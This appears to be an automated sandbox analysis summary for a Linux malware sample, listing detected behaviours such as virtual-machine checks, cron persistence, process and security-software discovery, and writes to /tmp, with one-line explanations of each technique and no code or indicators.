Malware Config
Signatures
-
Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
-
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
-
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads hardware information 1 TTPs 14 IoCs
Accesses system info like serial numbers, manufacturer names etc.
-
Security Software Discovery 1 TTPs 2 IoCs
Adversaries may attempt to discover installed security software and its configurations.
-
Checks CPU configuration 1 TTPs 3 IoCs
Checks CPU information which indicate if the system is a virtual machine.
-
Reads CPU attributes 1 TTPs 7 IoCs
-
Enumerates kernel/hardware configuration 1 TTPs 60 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
-
Process Discovery 1 TTPs 2 IoCs
Adversaries may try to discover information about running processes.
-
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
-
Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
